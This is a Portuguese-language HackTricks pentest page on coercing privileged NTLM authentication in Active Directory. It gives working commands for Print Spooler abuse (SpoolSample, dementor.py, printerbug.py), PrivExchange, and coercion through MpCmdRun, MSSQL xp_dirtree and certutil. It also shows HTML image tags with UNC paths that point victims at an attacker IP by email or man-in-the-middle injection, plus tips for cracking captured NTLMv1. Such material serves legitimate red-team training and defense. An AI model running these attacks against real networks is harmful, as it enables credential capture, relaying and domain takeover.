hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

7.7 KiB

Forçar Autenticação Privilegiada NTLM

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

SharpSystemTriggers

SharpSystemTriggers é uma coleção de gatilhos de autenticação remota codificados em C# usando o compilador MIDL para evitar dependências de terceiros.

Abuso do Serviço de Spooler

Se o Serviço de Spooler de Impressão estiver ativado, você pode usar algumas credenciais AD já conhecidas para solicitar ao servidor de impressão do Controlador de Domínio uma atualização sobre novos trabalhos de impressão e apenas dizer para enviar a notificação para algum sistema.
Observe que, quando a impressora envia a notificação para sistemas arbitrários, ela precisa se autenticar contra esse sistema. Portanto, um atacante pode fazer o Serviço de Spooler de Impressão se autenticar contra um sistema arbitrário, e o serviço usará a conta do computador nessa autenticação.

Encontrando Servidores Windows no domínio

Usando PowerShell, obtenha uma lista de máquinas Windows. Servidores geralmente têm prioridade, então vamos focar lá:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Encontrando serviços de Spooler escutando

Usando uma versão ligeiramente modificada do @mysmartlogin (Vincent Le Toux) SpoolerScanner, veja se o Serviço de Spooler está escutando:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Você também pode usar rpcdump.py no Linux e procurar pelo Protocolo MS-RPRN

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Peça ao serviço para autenticar contra um host arbitrário

Você pode compilar SpoolSample daqui.

SpoolSample.exe <TARGET> <RESPONDERIP>

ou use 3xocyte's dementor.py ou printerbug.py se você estiver no Linux

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Combinando com Delegação Inconstrangida

Se um atacante já comprometeu um computador com Delegação Inconstrangida, o atacante poderia fazer a impressora se autenticar contra este computador. Devido à delegação inconstrangida, o TGT da conta de computador da impressora será salvo na memória do computador com delegação inconstrangida. Como o atacante já comprometeu este host, ele será capaz de recuperar este ticket e abusar dele (Pass the Ticket).

Autenticação Forçada RCP

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

O ataque PrivExchange é resultado de uma falha encontrada na funcionalidade PushSubscription do Exchange Server. Esta funcionalidade permite que o servidor Exchange seja forçado por qualquer usuário de domínio com uma caixa de correio a se autenticar em qualquer host fornecido pelo cliente via HTTP.

Por padrão, o serviço Exchange é executado como SYSTEM e recebe privilégios excessivos (especificamente, possui privilégios WriteDacl na atualização cumulativa do domínio anterior a 2019). Esta falha pode ser explorada para habilitar o encaminhamento de informações para LDAP e, subsequentemente, extrair o banco de dados NTDS do domínio. Em casos onde o encaminhamento para LDAP não é possível, esta falha ainda pode ser usada para encaminhar e autenticar em outros hosts dentro do domínio. A exploração bem-sucedida deste ataque concede acesso imediato ao Admin do Domínio com qualquer conta de usuário autenticada do domínio.

Dentro do Windows

Se você já estiver dentro da máquina Windows, pode forçar o Windows a se conectar a um servidor usando contas privilegiadas com:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

Ou use esta outra técnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

É possível usar certutil.exe lolbin (binário assinado pela Microsoft) para forçar a autenticação NTLM:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Via email

Se você souber o endereço de e-mail do usuário que faz login em uma máquina que você deseja comprometer, você pode simplesmente enviar a ele um e-mail com uma imagem 1x1 como

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

e quando ele o abrir, ele tentará se autenticar.

MitM

Se você puder realizar um ataque MitM a um computador e injetar HTML em uma página que ele visualizar, você pode tentar injetar uma imagem como a seguinte na página:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Quebrando NTLMv1

Se você conseguir capturar desafios NTLMv1 leia aqui como quebrá-los.
Lembre-se de que, para quebrar o NTLMv1, você precisa definir o desafio do Responder como "1122334455667788"

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}